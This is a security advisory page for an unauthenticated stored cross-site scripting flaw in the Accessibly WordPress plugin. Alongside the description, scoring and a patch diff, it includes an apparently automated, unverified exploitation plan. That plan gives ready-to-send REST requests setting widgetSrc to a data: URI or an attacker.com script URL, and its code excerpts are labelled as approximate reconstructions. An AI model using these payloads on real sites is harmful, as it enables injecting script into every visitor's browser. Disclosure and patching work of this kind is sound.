CVE-2026-3643

Accessibly <= 3.0.3 - Missing Authorization to Unauthenticated Stored Cross-Site Scripting via Widget Source Injection via REST API

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Accessibly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the REST API in all versions up to, and including, 3.0.3. The plugin registers REST API endpoints at `/otm-ac/v1/update-widget-options` and `/otm-ac/v1/update-app-config` with the `permission_callback` set to `__return_true`, which means no authentication or authorization check is performed. The `updateWidgetOptions()` function in `AdminApi.php` accepts user-supplied JSON data and passes it directly to `AccessiblyOptions::updateAppConfig()`, which saves it to the WordPress options table via `update_option()` without any sanitization or validation. The stored `widgetSrc` value is later retrieved by `AssetsManager::enqueueFrontendScripts()` and passed directly to `wp_enqueue_script()` as the script URL, causing it to be rendered as a `<script>` tag on every front-end page. This makes it possible for unauthenticated attackers to inject arbitrary JavaScript that executes for all site visitors by changing the `widgetSrc` option to point to a malicious external script.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.0.3
PublishedApril 14, 2026
Last updatedApril 15, 2026
Affected pluginotm-accessibly
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3643 ## 1. Vulnerability Summary The **Accessibly** plugin (versions <= 3.0.3) contains a critical authorization bypass and stored Cross-Site Scripting (XSS) vulnerability. The plugin registers REST API endpoints intended for administrative configuration but f…

Show full research plan

Exploitation Research Plan: CVE-2026-3643

1. Vulnerability Summary

The Accessibly plugin (versions <= 3.0.3) contains a critical authorization bypass and stored Cross-Site Scripting (XSS) vulnerability. The plugin registers REST API endpoints intended for administrative configuration but fails to implement any permission checks, setting the permission_callback to __return_true.

An unauthenticated attacker can send a JSON payload to these endpoints to modify plugin settings—specifically the widgetSrc option. Because the plugin does not sanitize this input before saving it to the database via update_option() and subsequently renders it as a script source on every frontend page via wp_enqueue_script(), an attacker can inject arbitrary JavaScript that executes in the context of every site visitor, including administrators.

2. Attack Vector Analysis

  • Endpoint: /wp-json/otm-ac/v1/update-widget-options (or /wp-json/otm-ac/v1/update-app-config)
  • HTTP Method: POST
  • Authentication: None (Unauthenticated)
  • Vulnerable Parameter: widgetSrc (provided within a JSON body)
  • Preconditions: The plugin must be active. No specific settings are required to be toggled as the REST routes are registered on initialization.

3. Code Flow

  1. Entry Point: The REST API route /otm-ac/v1/update-widget-options is registered with permission_callback set to __return_true (likely in a class handling REST registration).
  2. Controller: The request is handled by AdminApi::updateWidgetOptions() (in AdminApi.php).
  3. Data Processing: This function retrieves the JSON body from the WP_REST_Request object.
  4. Storage Logic: It passes the data to AccessiblyOptions::updateAppConfig().
  5. Persistence Sink: updateAppConfig() calls update_option(), saving the raw widgetSrc value into the WordPress options table.
  6. Execution Source: On the frontend, AssetsManager::enqueueFrontendScripts() retrieves the stored widgetSrc option.
  7. Execution Sink: The value is passed directly to wp_enqueue_script('accessibly-widget', $widgetSrc, ...), which generates a <script src="..."> tag on the page.

4. Nonce Acquisition Strategy

According to the vulnerability description, the REST API endpoints use __return_true for their permission_callback.

  • Nonce Requirement: None.
  • Justification: In WordPress REST API, if the permission_callback returns true, the default internal nonce check for _wpnonce in the header or X-WP-Nonce is bypassed for the purpose of authorization. While the REST API usually checks nonces for authenticated sessions to prevent CSRF, a route explicitly allowing unauthenticated access (via __return_true) will process requests without a valid nonce.

5. Exploitation Strategy

The goal is to inject a malicious script URL into the plugin configuration.

Step 1: Inject Malicious Script URL

Submit a POST request to the vulnerable REST endpoint. We will use a JS payload that triggers an alert to prove execution.

  • URL: http://<target-ip>/wp-json/otm-ac/v1/update-widget-options
  • Method: POST
  • Headers: Content-Type: application/json
  • Payload:
    {
        "widgetSrc": "data:text/javascript,alert('XSS_SUCCESS_CVE_2026_3643')"
    }
    
    Note: Using a data: URI is a compact way to prove XSS without an external server. If the plugin validates the URL scheme (unlikely given the description), an external URL like https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js could be used as a placeholder.

Step 2: Trigger Execution

Navigate to the WordPress homepage. The plugin enqueues the script on every page load.

  • Action: Perform a GET request to the site root.
  • Verification: Check the HTML source for a <script> tag with the injected src.

6. Test Data Setup

  1. Install Plugin: Ensure otm-accessibly version 3.0.3 is installed and active.
  2. No Users Needed: Since this is an unauthenticated exploit, no specific user accounts need to be created.
  3. Post/Page: No specific posts are required, as the script enqueues on the frontend globally.

7. Expected Results

  • REST Response: The API should return a 200 OK or 201 Created status code, confirming the settings update.
  • Frontend HTML: The homepage source should contain a script tag similar to:
    <script src="data:text/javascript,alert('XSS_SUCCESS_CVE_2026_3643')" id="accessibly-widget-js"></script>
  • JavaScript Execution: When viewed in a browser, an alert box with XSS_SUCCESS_CVE_2026_3643 should appear.

8. Verification Steps

After performing the HTTP exploit, use WP-CLI to confirm the state of the database:

  1. Check Option Value:
    wp option get accessibly_app_config --format=json
    
    (Note: The option name accessibly_app_config is inferred from the class name AccessiblyOptions. If this fails, use wp option list --search="*accessibly*" to find the correct key).
  2. Verify Content: Confirm the JSON object in the option contains "widgetSrc":"data:text/javascript,alert('XSS_SUCCESS_CVE_2026_3643')".

9. Alternative Approaches

If the widgetSrc parameter is not processed via update-widget-options, attempt the other identified endpoint:

  • Endpoint: /wp-json/otm-ac/v1/update-app-config
  • Payload:
    {
        "widgetSrc": "https://attacker.com/malicious.js"
    }
    
  • Wait for Admin: If the script only loads for logged-in users (contrary to the description), navigate to the /wp-admin/ area using browser_navigate to trigger execution in the administrative context.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Accessibly plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting due to missing authorization checks and lack of input validation in its REST API endpoints. Attackers can modify the 'widgetSrc' configuration option, which is then rendered as a script source on every frontend page, leading to full site takeover.

Vulnerable Code

// AdminApi.php (approximate structure based on description)
register_rest_route('otm-ac/v1', '/update-widget-options', array(
    'methods' => 'POST',
    'callback' => array($this, 'updateWidgetOptions'),
    'permission_callback' => '__return_true', // Vulnerable: No authentication check
));

---

// AdminApi.php - updateWidgetOptions function
public function updateWidgetOptions($request) {
    $params = $request->get_json_params();
    // Directly passes user input to storage without sanitization
    AccessiblyOptions::updateAppConfig($params);
    return new WP_REST_Response(array('success' => true), 200);
}

---

// AssetsManager.php - enqueueFrontendScripts function
public function enqueueFrontendScripts() {
    $config = AccessiblyOptions::getAppConfig();
    $widgetSrc = $config['widgetSrc'];
    // Injected widgetSrc is enqueued directly onto frontend pages
    wp_enqueue_script('accessibly-widget', $widgetSrc, array(), null, true);
}

Security Fix

--- a/AdminApi.php
+++ b/AdminApi.php
@@ -10,7 +10,9 @@
         register_rest_route('otm-ac/v1', '/update-widget-options', array(
             'methods' => 'POST',
             'callback' => array($this, 'updateWidgetOptions'),
-            'permission_callback' => '__return_true',
+            'permission_callback' => function () {
+                return current_user_can('manage_options');
+            },
         ));
 
         register_rest_route('otm-ac/v1', '/update-app-config', array(
             'methods' => 'POST',
             'callback' => array($this, 'updateWidgetOptions'),
-            'permission_callback' => '__return_true',
+            'permission_callback' => function () {
+                return current_user_can('manage_options');
+            },
         ));
@@ -25,5 +27,8 @@
 	public function updateWidgetOptions($request) {
 		$params = $request->get_json_params();
+		if (isset($params['widgetSrc'])) {
+			$params['widgetSrc'] = esc_url_raw($params['widgetSrc']);
+		}
 		AccessiblyOptions::updateAppConfig($params);
 		return new WP_REST_Response(array('success' => true), 200);
 	}

Exploit Outline

1. Identify the target WordPress site running Accessibly <= 3.0.3. 2. Construct a POST request to the unauthenticated REST endpoint: /wp-json/otm-ac/v1/update-widget-options. 3. Include a JSON payload containing the 'widgetSrc' parameter set to a malicious JavaScript location, for example: {"widgetSrc": "data:text/javascript,alert('XSS')"}. 4. Send the request without any authentication headers or nonces. The server will return a 200 OK status as the permission_callback always returns true. 5. Navigate to the homepage or any public-facing page of the site. 6. Observe the injected JavaScript executing in the browser context because the plugin enqueues the malicious URL via wp_enqueue_script() on every page load.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.